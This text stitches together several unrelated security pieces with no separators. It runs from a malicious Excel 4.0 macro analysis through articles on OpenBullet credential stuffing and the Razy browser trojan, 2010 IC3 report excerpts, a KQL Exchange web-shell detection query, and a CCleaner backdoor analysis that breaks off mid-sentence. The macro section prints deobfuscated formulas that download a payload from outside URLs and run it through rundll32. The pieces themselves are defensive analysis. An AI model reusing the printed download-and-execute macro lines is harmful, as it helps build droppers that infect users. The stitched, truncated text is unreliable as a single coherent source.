- - - - - ' EMULATION - DEOBFUSCATED EXCEL4/XLM MACRO FORMULAS: ' CELL:E13 , FullEvaluation , False ' CELL:E18 , FullEvaluation , CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxps://zml.laneso.com/packet/AlvJ8OdtSYEee ' CELL:E20 , FullEvaluation , IF(YHYH<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://ostadsarma.com/wp-admin/JN ' CELL:E22 , FullEvaluation , IF(YHYH1<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://govtjobresultbd.xyz/sjjz/ ' CELL:E24 , FullEvaluation , IF(YHYH2<0,CLOSE(0),) ' CELL:E26 , PartialEvaluation , =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve"" ' CELL:E32 , FullEvaluation , RETURN() +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |Suspicious|CALL |May call a DLL using Excel 4 Macros (XLM/XLF)| |Suspicious|Windows |May enumerate application windows (if combined with Shell.Application object)| |Suspicious|URLDownloadToFileA |May download files from the Internet | |Suspicious|EXEC |May run an executable file or a system command using Excel 4 Macros (XLM/XLF)| |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)| |IOC |hxxps://zml.laneso.c|URL | | |om/packet/AlvJ8OdtSY| | | |EeeCQP/ | | |IOC |hxxp://ostadsarma.co|URL | | |m/wp-admin/JNgASjNC/| | |IOC |hxxp://govtjobresult|URL | | |bd.xyz/sjjz/UIUhOHsL| | | |qjOy9/ | | |IOC |rundll32.exe |Executable file name | |Suspicious|XLM macro |XLM macro found. It may contain malicious code | +----------+--------------------+---------------------------------------------+ Interpreting the output, it looks like the document has Excel 4.0 macros that download content from these URLs: - hxxps://zml.laneso.com/packet/AlvJ8OdtSYEeeCQP/ - hxxp://ostadsarma.com/wp-admin/JNgASjNC/ - hxxp://govtjobresultbd.xyz/sjjz/UIUhOHsLqjOy9/ Using the `URLDownloadToFileA` function from `urlmon.dll`, the document saved the downloaded content to `erum.ocx`. Afterward, the document proceeded to execute `C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D"&"l"&"lR"&"egister"&"Serve"`. The obfuscation on the DLL export reduces down to `DllRegisterServer`. So the process ancestry becomes `excel.exe -> rundll32.exe erum.ocx,DllRegisterServer`. We can confirm this by looking at a sandbox report from Tria.ge. Thanks for reading!
# How Cybercriminals Abuse OpenBullet for Credential Stuffing In this blog, we detail how cybercriminals exploit OpenBullet, a legitimate web-testing software, to brute-force their way into targeted accounts. The trend for access-related cybercrime, such as credential stuffing, is steadily rising with no sign of slowing down. According to an Akamai report, there have been a total of 88 billion credential stuffing attacks from January 2018 to December 2019. Credential stuffing, a type of brute-force attack that makes use of botnets to access websites and online services using stolen credentials, allows financially motivated actors to gain unfettered access to victims’ bank accounts and sensitive information. Cybercriminals also profit from stolen credentials by selling them in underground forums and markets. As the business of acquiring unique credentials continues to become more lucrative, cybercriminals are enriching their attack tools and techniques by abusing legitimate software for nefarious purposes. In this blog, we detail how cybercriminals exploit OpenBullet, a legitimate web-testing software, to brute-force their way into targeted accounts. Due to OpenBullet’s popularity, a whole market for trading configuration scripts has formed in the underground. We explore how some threat actors compromise the supply chain of OpenBullet configuration scripts by supplying scripts with hidden features. Finally, we also give recommendations on how users and organizations can handle multiple passwords efficiently and securely, and provide guidance on how they can remain protected from credential stuffing attacks that lead to account takeovers. ## A Closer Look at OpenBullet OpenBullet is a free web-testing software that enables developers to perform specific requests on target webpages. The open-source tool can be found on GitHub and used for different tasks, including scraping and parsing data, performing automated penetration testing, and unit testing using Selenium. The software enables users to try multiple “login:password” combinations as credential brute-force attacks on different websites for legitimate purposes, such as penetration testing. However, it can also be used by cybercriminals to discover valid credentials on different websites for ill gain. OpenBullet allows a user to import prebuilt configuration files or configs, one for each website to be tested. It also has a flexible editor to modify configs as needed. This is a mandatory feature since websites tend to make slight adjustments to the way that users connect to them in an effort to counter automated tools like OpenBullet. Notably, OpenBullet’s GitHub page features a warning informing users that the tool shouldn’t be used for credential stuffing on websites that they do not own. ### OpenBullet Features That Can Be Abused **Wordlists** This tab allows the user to import thousands of words that can be used when attempting to connect to targeted websites. An entry can be as simple as “email address:password” or “login:password.” Wordlists are not provided with the OpenBullet tool. As a result, users would need to find and use their own. However, OpenBullet has a wordlist generator feature. **Runner** A user can select this tab to launch a credential attack using OpenBullet. The runner tab shows the progress and the number of positive hits for every website that is being tested. Users can also launch multiple runners at the same time. **Proxies** Some websites with good security might blocklist the IP address of a penetration tester — or a cybercriminal — especially if it is being used to make several attempts to log in to several different accounts. To avoid this, proxies are used. Proxies are an important part of OpenBullet. They allow users multiple login attempts using a different IP address for each attempt. In addition, they can set up the time between each connection attempt, so that each attempt does not raise any alarms on the targeted website for unusual login activity. **Tools, Plug-ins, and Settings** Plug-ins can be easily imported to OpenBullet for different purposes. For example, by using additional plug-ins, users will be able to mix a list of usernames and passwords to generate all possible combinations, export the hits from the runner tab directly to an instant messaging platform, or use a known successful login or password combination on a big virtual private network (VPN) to get a full list of all of its working proxies. On the settings tab, OpenBullet users are able to tweak system settings, such as bypassing CAPTCHAs or using Selenium, a portable framework for testing web applications. Users need API keys in order to bypass CAPTCHAs. However, API keys are not provided in the tool. **Configs** Configs are the heart of the OpenBullet tool. They are files that are imported to OpenBullet for every website that needs to be tested. Since every website handles authentication or login differently, a unique config file is needed for every website. OpenBullet supports multiple config file types, including plain files (.loli, otherwise referred to as “LoliScripts”) and encrypted files (.lolix). While some OpenBullet configs can be found easily online, other more sensitive configs are sold on dedicated websites or on underground cybercrime forums and marketplaces. Generally, config prices average between US$5 to US$10 as of writing. Because configs tend to have a limited time of use due to the constantly changing parts of websites’ authentication processes, the widely adopted business model involves selling licenses to get configs updates as needed. ### Other Software Abused for Credential Stuffing Because OpenBullet is open-source, it has allowed third-party developers to create their own version of the software (such as SilverBullet and OpenBullet Mod, Anomaly) that supports its own version of scripts called “anom.” Some of these versions are even more calibrated for cybercrime use and can be found easily on online forums. Aside from OpenBullet, other software for credential stuffing is available on GitHub or on underground forums. While other tools are available in the underground market, OpenBullet remains a tool favored for abuse by cybercriminals as it offers both comprehensive support and a wide range of possibilities. ### Backdoored Config Files The official OpenBullet configuration format is not obfuscated. However, there are many unofficial OpenBullet configuration formats that come in some form of obfuscation. This enables the packing of backdoors or so-called hit loggers. In fact, backdoors in OpenBullet configuration files are very common — so common, in fact, that there are tutorials on how to remove them. Many tutorials advise using only .loli / .ini / .anom and not to use the encrypted .lolix / .sccfg / .lolim / .lolip for not running obfuscated code. ### Other Ways Cybercriminals Illegally Obtain Credentials Aside from abusing legitimate software and using malicious software, cybercriminals also employ other tried-and-tested ways to obtain user credentials — one of which involves using phishing campaigns. However, phishing campaigns collect a few hundred credentials at best. They also require fraudsters to build and host phishing websites to which they would lead victims after sending thousands (if not millions) of fraudulent emails per campaign. Cybercriminals compromise websites such as large forums and dump their databases. This is why it is important for website administrators to ensure that their databases are encrypted. Credentials can also be bought from underground websites and forums. Sometimes, credentials can even be obtained for free. ### Typical Uses of Stolen Credentials The difficulty of having one’s credentials stolen doesn’t end when fraudsters take hold of them through illicit means. Rather, this could be just the beginning. After all, the many uses that cybercriminals have for stolen credentials can be even more devastating. ### How to Securely Handle Multiple Passwords Security professionals have always recommended the use of different non-guessable passwords for each website and online service. While this recommendation makes sense, most people find it difficult to maintain a list of every password for every website that they need access to. Fortunately, users can rely on password managers, digital vaults where passwords can be stored and managed in an efficient and encrypted way. Some password managers even have autocomplete features that can be used for logging in to any website through a keyboard shortcut. ### How to Stay Protected From Credential Stuffing Attacks The following are steps that users and organizations alike can take in order to protect themselves from credential stuffing attacks: - Practice good password hygiene. Users should avoid using weak passwords while organizations should implement a blocklist of commonly used passwords to prevent users from creating them. Users should also avoid reusing credentials for various online accounts and services. - Enable multi-factor authentication (MFA) on websites and services. An increasing number of websites and services offer MFA. Generally, MFA consists of a combination of external one-time passwords (OTP) that are generated and stored on a device that the attacker should not have access to, such as mobile phones, fingerprints, software security tokens or certificates, and a security USB key. - Create a PIN or answer additional security questions. Some websites enable users to answer additional security questions or provide a unique PIN for further authentication. - Enable login attempt analysis. Some websites and services such as email service providers run analyses of login attempts based on different factors, including browser information, IP address, and user behavior anomaly analysis. It is important to note here that the use of CAPTCHA should not be considered a secure method to defeat automated login attempts. ## Conclusion It is undeniable that data breaches are becoming more commonplace and alarming. In February 2021, the Compilation of Many Breaches (COMB) was made available online, exposing a staggering 3.2 billion credentials. In line with such developments, credential stuffing attacks are expected to continue rising in number. Despite an accelerating number of online services allowing users to boost their account security by means of enabling either two-factor authentication (2FA) or MFA, the adoption of these security tools remains low. Given the nefarious uses by cybercriminals with regard to stolen credentials, it is vital to have more promotional campaigns that highlight the importance of creating strong, unique, and secure passwords and storing them in password managers.
# Spoofing Search Results and Infecting Browser Extensions ## Razy in Search of Cryptocurrency **Research** **24 Jan 2019** **Authors** Victoria Vlasova Vyacheslav Bogdanov Last year, we discovered malware that installs a malicious browser extension on its victim’s computer or infects an already installed extension. To do so, it disables the integrity check for installed extensions and automatic updates for the targeted browser. Kaspersky Lab products detect the malicious program as Trojan.Win32.Razy.gen – an executable file that spreads via advertising blocks on websites and is distributed from free file-hosting services under the guise of legitimate software. Razy serves several purposes, mostly related to the theft of cryptocurrency. Its main tool is the script `main.js` that is capable of: - Searching for addresses of cryptocurrency wallets on websites and replacing them with the threat actor’s wallet addresses - Spoofing images of QR codes pointing to wallets - Modifying the web pages of cryptocurrency exchanges - Spoofing Google and Yandex search results ## Infection The Trojan Razy ‘works’ with Google Chrome, Mozilla Firefox, and Yandex Browser, though it has different infection scenarios for each browser type. ### Mozilla Firefox For Firefox, the Trojan installs an extension called ‘Firefox Protection’ with the ID `{ab10d63e-3096-4492-ab0e-5edcf4baf988}` (folder path: “%APPDATA%\Mozilla\Firefox\Profiles\.default\Extensions\{ab10d63e-3096-4492-ab0e-5edcf4baf988}”). For the malicious extension to start working, Razy edits the following files: - “%APPDATA%\Mozilla\Firefox\Profiles\.default\prefs.js” - “%APPDATA%\Mozilla\Firefox\Profiles\.default\extensions.json” - “%PROGRAMFILES%\Mozilla Firefox\omni.js” ### Yandex Browser The Trojan edits the file ‘%APPDATA%\Yandex\YandexBrowser\Application\\browser.dll’ to disable extension integrity check. It renames the original file ‘browser.dll_’ and leaves it in the same folder. To disable browser updates, it creates the registry key ‘HKEY_LOCAL_MACHINE\SOFTWARE\Policies\YandexBrowser\UpdateAllowed” = 0 (REG_DWORD). Then the extension Yandex Protect is installed to folder ‘%APPDATA%\Yandex\YandexBrowser\User Data\Default\Extensions\acgimceffoceigocablmjdpebeodphgc\6.1.6_0’. The ID `acgimceffoceigocablmjdpebeodphgc` corresponds to a legitimate extension for Chrome called Cloudy Calculator, version 6.1.6_0. If this extension has already been installed on the user’s device in Yandex Browser, it is replaced with the malicious Yandex Protect. ### Google Chrome Razy edits the file ‘%PROGRAMFILES%\Google\Chrome\Application\\chrome.dll’ to disable the extension integrity check. It renames the original chrome.dll file to chrome.dll_ and leaves it in the same folder. It creates the following registry keys to disable browser updates: - “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\AutoUpdateCheckPeriodMinutes” = 0 (REG_DWORD) - “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\DisableAutoUpdateChecksCheckboxValue” = 1 (REG_DWORD) - “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\InstallDefault” = 0 (REG_DWORD) - “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\UpdateDefault” = 0 (REG_DWORD) We have encountered cases where different Chrome extensions were infected. One extension in particular is worth mentioning: Chrome Media Router is a component of the service with the same name in browsers based on Chromium. It is present on all devices where the Chrome browser is installed, although it is not shown in the list of installed extensions. During the infection, Razy modified the contents of the folder where the Chrome Media Router extension was located: ‘%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm’. ## Scripts Used Irrespective of the targeted browser type, Razy added the following scripts it brought along to the folder containing the malicious script: `bgs.js`, `extab.js`, `firebase-app.js`, `firebase-messaging.js`, and `firebase-messaging-sw.js`. The file `manifest.json` was created in the same folder or was overwritten to ensure these scripts get called. The scripts `firebase-app.js`, `firebase-messaging.js`, and `firebase-messaging-sw.js` are legitimate. They belong to the Firebase platform and are used to send statistics to the malicious actor’s Firebase account. The scripts `bgs.js` and `extab.js` are malicious and are obfuscated with the help of the tool obfuscator.io. The former sends statistics to the Firebase account; the latter (`extab.js`) inserts a call to the script `i.js` with parameters `tag=&did=&v_tag=&k_tag=` into each page visited by the user. In the above example, the script `i.js` is distributed from the web resource `gigafilesnote[.]com` (`gigafilesnote[.]com/i.js?tag=&did=&v_tag=&k_tag=`). In other cases, similar scripts were detected in the domains `apiscr[.]com`, `happybizpromo[.]com`, and `archivepoisk-zone[.]info`. The script `i.js` modifies the HTML page, inserts advertising banners and video clips, and adds adverts into Google search results. The culmination of the infection is `main.js` – a call to the script is added to each page visited by the user. The script `main.js` is distributed from the addresses: - `Nolkbacteria[.]info/js/main.js?_=` - `2searea0[.]info/js/main.js?_=` - `touristsila1[.]info/js/main.js?_=` - `solkoptions[.]host/js/main.js?_=` The script `main.js` is not obfuscated and its capabilities can be seen from the function names. The screenshot above shows the function `findAndReplaceWalletAddresses` that searches for Bitcoin and Ethereum wallets and replaces them with the addresses of the threat actor’s wallets. Notably, this function works on almost all pages except those located on Google and Yandex domains, as well as on popular domains like `instagram.com` and `ok.ru`. Images of QR codes that point to wallets also get substituted. The substitution occurs when the user visits the web resources `gdax.com`, `pro.coinbase.com`, `exmo.*`, `binance.*` or when an element with `src=’/res/exchangebox/qrcode/’` is detected on the webpage. As well as the functionality described above, `main.js` modifies the webpages of the cryptocurrency exchanges EXMO and YoBit. The following script calls are added to the pages’ codes: - `/js/exmo-futures.js?_= – when exmo.*/ru/* pages are visited - `/js/yobit-futures.js?_= – when yobit.*/ru/* pages are visited These scripts display fake messages to the user about “new features” in the corresponding exchanges and offers to sell cryptocurrency at above market rates. In other words, users are persuaded to transfer their money to the cybercriminal’s wallet under the pretext of a good deal. `main.js` also spoofs Google and Yandex search results. Fake search results are added to pages if the search request is connected with cryptocurrencies and cryptocurrency exchanges, or just music downloading or torrents: ``` /(?:^|\s)(gram|телеграм|токен|ton|ico|telegram|btc|биткойн|bitcoin|coinbase|крипта|криптовалюта|,bnrjqy|биржа|бираж)(?:\s|$)/g; /(скачать.*музык|музык.*скачать)/g; /тор?рент/g; ``` This is how an infected user is enticed to visit infected websites or legitimate cryptocurrency-themed sites where they will see the message described above. When the user visits Wikipedia, `main.js` adds a banner containing a request for donations to support the online encyclopedia. The cybercriminals’ wallet addresses are used in place of bank details. The original Wikipedia banner asking for donations (if present) is deleted. When the user visits the webpage `telegram.org`, they will see an offer to buy Telegram tokens at an incredibly low price. The infected extension loads content on the `telegram.org` site from the phishing web resource `ton-ico[.]network`. When users visit the pages of Russian social network Vkontakte (VK), the Trojan adds an advertising banner to it. If a user clicks on the banner, they are redirected to phishing resources (located on the domain `ooo-ooo[.]info`), where they are prompted to pay a small sum of money now to make a load of money later on. ## Indicators of Compromise Kaspersky Lab’s products detect scripts associated with Razy as HEUR:Trojan.Script.Generic. Below are all the wallet addresses detected in the analyzed scripts: - Bitcoin: - ‘1BcJZis6Hu2a7mkcrKxRYxXmz6fMpsAN3L’ - ‘1CZVki6tqgu2t4ACk84voVpnGpQZMAVzWq’ - ‘3KgyGrCiMRpXTihZWY1yZiXnL46KUBzMEY’ - ‘1DgjRqs9SwhyuKe8KSMkE1Jjrs59VZhNyj’ - ’35muZpFLAQcxjDFDsMrSVPc8WbTxw3TTMC’ - ’34pzTteax2EGvrjw3wNMxaPi6misyaWLeJ’. - Ethereum: - ’33a7305aE6B77f3810364e89821E9B22e6a22d43′ - ‘2571B96E2d75b7EC617Fdd83b9e85370E833b3b1′ - ’78f7cb5D4750557656f5220A86Bc4FD2C85Ed9a3’. At the time of writing, total incoming transactions on all these wallets amounted to approximately 0.14 BTC plus 25 ETH. ## MD5 - Trojan.Win32.Razy.gen - 707CA7A72056E397CA9627948125567A - 2C274560900BA355EE9B5D35ABC30EF6 - BAC320AC63BD289D601441792108A90C - 90A83F3B63007D664E6231AA3BC6BD72 - 66DA07F84661FCB5E659E746B2D7FCCD - Main.js - 2C95C42C455C3F6F3BD4DC0853D4CC00 - 2C22FED85DDA6907EE8A39DD12A230CF - i.js - 387CADA4171E705674B9D9B5BF0A859C - 67D6CB79955488B709D277DD0B76E6D3 - Extab.js - 60CB973675C57BDD6B5C5D46EF372475 - Bgs.js - F9EF0D18B04DC9E2F9BA07495AE1189C ## Malicious Domains - gigafilesnote[.]com - apiscr[.]com - happybizpromo[.]com - archivepoisk-zone[.]info - archivepoisk[.]info - nolkbacteria[.]info - 2searea0[.]info - touristsila1[.]info - touristsworl[.]xyz - solkoptions[.]host - solkoptions[.]site - mirnorea11[.]xyz - miroreal[.]xyz - anhubnew[.]info - kidpassave[.]xyz ## Phishing Domains - ton-ico[.]network - ooo-ooo[.]info **Adware** **Browser Plugins** **Cryptocurrencies** **JavaScript** **Spoofing** **Authors** Victoria Vlasova Vyacheslav Bogdanov
# 2010 Internet Crime Report ## Executive Summary Now in its tenth year, the Internet Crime Complaint Center (IC3) has become a vital resource for victims of online crime and for law enforcement investigating and prosecuting offenders. In 2010, IC3 received the second-highest number of complaints since its inception. IC3 also reached a major milestone this year when it received its two-millionth complaint. On average, IC3 receives and processes 25,000 complaints per month. IC3 is more than a repository for victim complaints. It serves as a conduit for law enforcement to share information and pursue cases that often span jurisdictional boundaries. IC3 was founded in 2000 as a joint effort between the National White Collar Crime Center (NW3C)/Bureau of Justice Assistance (BJA) and the Federal Bureau of Investigation (FBI). That partnership leveraged the resources necessary to aid law enforcement in every aspect of an Internet fraud complaint. The most common victim complaints in 2010 were non-delivery of payment/merchandise, scams impersonating the FBI (hereafter “FBI-related scams”) and identity theft. Victims of these crimes reported losing hundreds of millions of dollars. Through a number of technological advancements, IC3 has streamlined the way it processes and refers victim complaints to law enforcement. In 2004, IC3 developed Automatch, an automated internal complaint grouping and analytical search tool. The design of Automatch is based on an assessment of the IC3 partnership aimed at defining a joint workflow for the project partners with different service requirements. IC3 IT staff continually review and update Automatch to meet the needs of analysts who build cases for law enforcement worldwide gathering all related information based on commonalities in the IC3 data. In 2009, NW3C developed the state-of-the-art Internet Complaint Search and Investigation System (ICSIS), which fosters seamless collaboration among law enforcement from multiple jurisdictions. Expert IC3 analysts also provide key analytical and case support. The 2010 Internet Crime Report demonstrates how pervasive online crime has become, affecting people in all demographic groups. The report provides specific details about various crimes, their victims and the perpetrators. It also shows how IC3 continually adapts its methods to meet the needs of the public and law enforcement. ## History The Internet Fraud Complaint Center (IFCC), a partnership between NW3C/BJA and the FBI, was established on May 8, 2000. The IFCC changed its name to IC3 in 2003 to reflect its expanded mission in the fight against cyber crime. In May 2010, IC3 marked its 10th anniversary. By early November, IC3 had received two million complaints. IC3 received 303,809 complaints in 2010, averaging 25,317 per month (by comparison, the IFCC received 20,014 complaints in its first six months). Canada, the United Kingdom and Germany have used IC3 as the model for similar cyber crime centers. IC3’s public awareness efforts range from teaching children how to protect themselves online to showing senior citizens how to avoid identity theft. Also, IC3 provides presentations to local, national and international law enforcement and to key industrial leaders. ## Cutting-Edge Approach To Fighting Internet Crime In 2010, IC3 added the remote access feature to the IC3.net database tools. This feature gives all FBI personnel the ability to perform searches and case development work. With this system and last year’s launch of ICSIS, IC3 has dramatically expanded the capacity and scope of services offered. The combined power of these two high-tech tools aids law enforcement in identifying and prosecuting cyber crime. Law enforcement can set complaint thresholds for their jurisdictions within the Complaint Management System (CMS) so agencies can have real-time information of crimes occurring within their jurisdictions. For example, if the New York City Police Department requests to receive only those complaints with a specified dollar loss, IC3 analysts can comply with that request. The system automates approximately 40 percent of the complaints it receives, allowing analysts to process more complaints. In addition to allowing all law enforcement – local, state, and federal agencies—to search, analyze, and compile information, ICSIS also allows these users to communicate and share information. Users can export case information to other software programs to create link charts and presentations. IC3 analysts are available to compile data to give law enforcement a more detailed case. Analysts and investigators have the ability to develop case leads with multiple victims and jurisdictions, often involving the same perpetrator. The case analysis in multi-jurisdictional collaboration allows law enforcement access to new levels of information, which they can then use to build stronger cases. IC3 tracks cases after they are referred to law enforcement. Referred cases are given a disposition code based on the direction law enforcement intends to take. This gives analysts the chance to measure the relative success of a case. IC3 analysts prepared 1,420 cases (representing 42,808 complaints). Law enforcement prepared 698 cases (representing 4,015 complaints). In addition, law enforcement requested FBI assistance on 598 Internet crime matters. Of the referrals prepared by the FBI analysts, 122 open investigations were reported, which resulted in 31 arrests, 6 convictions, 17 grand jury subpoenas, and 55 search/seizure warrants. ## Internet Crime Trends The IC3 experienced substantial growth in complaints, referrals, and dollar loss claims since 2000. In particular, there has been a significant increase in referrals in the two-year period since CMS and ICSIS were implemented in early 2009. Historically, auction fraud has been the leading complaint reported by victims, with a high of 71.2 percent of all referrals in 2004. However, in 2010, auction fraud represents slightly more than 10 percent of referrals. This demonstrates the growing diversification of crimes related to the Internet. The steady decline in the total number of complaints and referrals of auction fraud over the last several years has altered the top complaint landscape. The gender gap in crime reporting has dramatically narrowed. Early in IC3’s history, men reported crime at a ratio of more than 2.5 to 1 over women. Today, men and women report crimes almost equally. In many states, a slightly higher proportion of women than men report crimes to IC3. The narrowed reporting gap between the sexes has significantly impacted the dollar loss between men and women over the last 10 years. According to the 2010 data, men now report a loss of $1.25 for every $1.00 reported by a woman. ## General IC3 Filing Information Complaints are submitted to IC3 at www.ic3.gov. The information is reviewed, categorized and, when appropriate, referred to local, state or federal law enforcement. All complaints are accessible to law enforcement and are used in trend analysis. These complaints help provide a basis for future outreach events and educational awareness programs. ## Complaint Characteristics During 2010, the non-delivery of payment or merchandise was the most reported offense, followed by FBI-related scams and identity theft. ### Table 3: Top 10 Crime Types | Type | Percent | |------|---------| | 1. Non-delivery Payment/Merchandise | 14.4% | | 2. FBI-Related Scams | 13.2% | | 3. Identity Theft | 9.8% | | 4. Computer Crimes | 9.1% | | 5. Miscellaneous Fraud | 8.6% | | 6. Advance Fee Fraud | 7.6% | | 7. Spam | 6.9% | | 8. Auction Fraud | 5.9% | | 9. Credit Card Fraud | 5.3% | | 10. Overpayment Fraud | 5.3% | Most complainants were in the U.S., male, between 40 and 59 and a resident of California, Florida, Texas or New York. Most foreign complainants were from Canada, the United Kingdom, Australia or India. ## Conclusion As the 2010 Internet Crime Report shows, the effects of online crime cut across all demographic groups and span the globe. IC3 has demonstrated its ability to adapt to the ever-changing landscape of Internet crime by providing the latest technological tools to assist law enforcement in bringing perpetrators to justice. The combined power of IC3’s CMS, ICSIS and Automatch streamlines the way complaints are processed and referred. The expert analysis IC3 provides to law enforcement fosters greater collaboration between investigators in multiple jurisdictions. As this report demonstrates, cyber criminals have become more creative in devising ways to separate Internet users from their money. IC3 has evolved to keep pace with emerging trends and technology, becoming an indispensable asset to victims of online crime and to law enforcement.
# Hafnium Exchange Vuln Detection - KQL ```kql let networkEvent = DeviceNetworkEvents | where ActionType == "InboundConnectionAccepted" and InitiatingProcessFileName =~ "System" | extend netTimestamp = Timestamp | project DeviceId, DeviceName, netTimestamp, RemoteIP, RemotePort; let shellWrite = DeviceFileEvents | where ActionType == "FileCreated" and FolderPath has "inetpub" and FileName has_any (".php", ".jsp", ".js", ".aspx", ".asmx", ".asax", ".cfm", ".shtml") | project DeviceName, DeviceId, Timestamp, FileName, FolderPath; DeviceFileEvents | where (FileName =~ "applicationHost.config" or FileName =~ "administration.config") and FolderPath contains "inetpub" | join shellWrite on DeviceName, DeviceId | join networkEvent on DeviceId, DeviceName | extend time_diff = datetime_diff('second', Timestamp, Timestamp1) | extend netTimeDiff = datetime_diff('second', Timestamp1, netTimestamp) | where (time_diff <= 60 and time_diff >= 0) and (netTimeDiff <= 10 and netTimeDiff >= 0) ```
# CCleaner Backdoor: Analysis & Recommendations **Karan Sood** **October 4, 2017** The term “supply chain attacks” means different things to different people. To the general business community, it refers to attacks targeting vulnerable third-parties in a larger organization’s supply chain. A well-known retail chain’s massive breach in 2013 is a classic example: adversaries used a poorly protected HVAC vendor as their gateway to hack into the giant retailer’s enterprise network. However, threat researchers have another definition: to them, supply chain attacks can also denote the growing phenomenon in which malicious code is injected into new releases and updates of legitimate software packages, effectively turning an organization’s own software supply infrastructure into a potent and hard-to-prevent attack vector. The recent backdoor that was discovered embedded in the legitimate, signed version of CCleaner 5.33 is just such an attack. To help inform the user community and empower them to better defend against software supply chain attacks, the CrowdStrike® Security Response Team (SRT) conducted a thorough analysis of the CCleaner backdoor. A popular PC optimization tool, the 5.33 version of CCleaner has had widespread distribution across multiple industries, but the embedded code appeared to actually be targeted at specific groups in the technology sector. CrowdStrike’s threat intelligence team had also previously reported on the malware’s C2 (command and control) infrastructure in a recent alert for CrowdStrike customers identifying possible links to Aurora Panda. The report also outlines the potential for additional adversary tactics, techniques, and procedures (TTPs). ## Technical Analysis ### CCleaner CCleaner is a PC cleaning utility developed by Piriform, which was recently acquired by antivirus (AV) provider Avast in June 2017. The affected version of the utility contains a modified `__scrt_common_main_seh` function that routes the execution flow to a custom function meant to decode and load the malware. This takes place even before the entry point (EP) of the utility is reached. The new execution flow leads to a function that decodes a blob of data, as reproduced in Python below: ```python def decode(indata): key = 0x2547383 i = 0 dec = [] for i in range(0, len(indata)): key = ((key * 0x47a6547) & 0xFFFFFFFF) & 0xFF dec.append(blob[i] ^ key) key = key >> 0x8 return dec ``` The result of the decoding subroutine is shellcode and the payload (which is missing the IMAGE_DOS_HEADER field). The missing IMAGE_DOS_HEADER is likely to subvert AV solutions that search for MZ (0x4d5a) headers in memory. Next, the program creates a memory heap with the flag `HEAP_CREATE_ENABLE_EXECUTE` to allow for execution, and copies the shellcode on the heap, and executes it. ### ShellCode The shellcode is responsible for loading the payload in memory. It attains the PEB (Process Environment Block) of the malware process to load `kernel32.dll` and find the location of the function `GetProcAddress`. This function is used to retrieve the addresses of functions such as `VirtualAlloc`, `memcpy`, and `LoadLibrary`. It allocates `PAGE_EXECUTE_READWRITE` memory to which it copies the previously decoded payload (minus the IMAGE_DOS_HEADER). Once the payload is copied to the newly allocated memory, the shellcode resolves the needed APIs and calls the OEP (original entry point) of the payload in memory. ### Payload #### Environment Checks Once it’s loaded, the payload creates a thread that performs the core functionality of the malware. It performs a few checks at the onset of the environment and the user privileges. The malware employs the function `msvcrt.time` to record the current time of the malware. It then uses `IcmpCreateFile` and `IcmpSendEcho` to send an IPv4 ICMP echo to an invalid IP address, with a timeout of 601 seconds. This is meant to delay the execution of the malware by 601 seconds; this delay is then measured by calling `msvcrt.time` again, and ensuring that more than 600 seconds have elapsed between the first and second calls to the function. It should be noted that if the call to `IcmpCreateFile` fails, the malware will just sleep for 600 seconds. These steps are measures against debugging and/or sandboxing. It also invokes `IsUserAnAdmin` to ensure that the current user is a member of the administrator’s group. If either of these checks fails, the malware exits immediately. It uses a decoding scheme as the one described above to decode strings during runtime in memory. It is important to note that these dynamically decoded strings are zeroed out in memory before each function using them exits. The strings dynamically decoded throughout the execution of the malware are listed in the Appendix section of this blog. The malware also checks the privilege levels of its own process; if the process does not have administrative privileges, it uses `AdjustTokenPrivileges` to enable the `SeDebugPrivilege` value for the process. This enables the process to either debug or adjust memory for a process owned by another account. #### Registry Checks The malware checks for the following registry key: `HKLM\SOFTWARE\Piriform\Agomo\TCID`. The key value is supposed to hold a system time value; if the value is greater than the current time, the malware will terminate. It also checks the value of `HKLM\SOFTWARE\Piriform\Agomo\MUID`. If the key does not exist, the malware will set its value using a pseudo-random number derived in the following manner: ```c // Pseudocode to calculate MUID DWORD MUID; unsigned int seed, rand1, rand2; seed = GetTickCount(); srand(seed); rand1 = rand(); rand2 = rand() * rand1; MUID = GetTickCount() ^ rand2; ``` #### Gathering Victim Information Once the checks are completed, the malware gathers the following information about the victim machine: - OS major version - OS minor version - OS architecture - Computer name - Computer DNS domain - IPv4 addresses associated with the machine. This information is gathered by calling `GetAdaptersInfo`, and then enumerating through each adapter to search for the `IP_ADAPTER_INFO → IpAddressList → IpAddress` field. - Installed applications. The malware accesses the registry key `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall`, and enumerates through each key, and compares the Publisher value with “Microsoft Corporation.” If there is a match, it moves on to the next value. If not, it will attain the DisplayName value using `SHGetValueA`, and insert it into memory. Each name is prepended with an “S” in memory. - Full name of the executable image of each running process. The malware calls `WTSEnumerateProcessA` to get a pointer to an array of `WTS_PROCESS_INFO` structures, which are then used to get the `ProcessName` field for each process. Each process name is prepended with a “P” in memory. This information is stored in a data structure in memory in the following manner: The `MUID_Val` is used as a unique identifier for the victim machine. Next, the structure is encoded in memory in two steps: 1. Aforementioned scheme 2. Modified version of base64 The custom base64 encoding scheme uses a modified Base64 index table. Rather than the regular table that has the following values: `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/`, its table has the following values: `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!*`. ### C2 Communication Once the victim machine information has been encoded, the malware queries the registry key `HKLM\SOFTWARE\Piriform\Agomo\NID`. Upon the initial run, the registry key does not exist; however, the malware eventually inserts an IP address computed via a DGA (Domain Generating Algorithm) later in the execution flow. It is interesting to note that even if the registry key exists, the malware extracts the IP address from the registry value, but does not do anything with it. After the registry check, it decodes the hard-coded IP address `216.126.225[.]148`, and attempts to send the encoded data struct to it via an HTTP POST 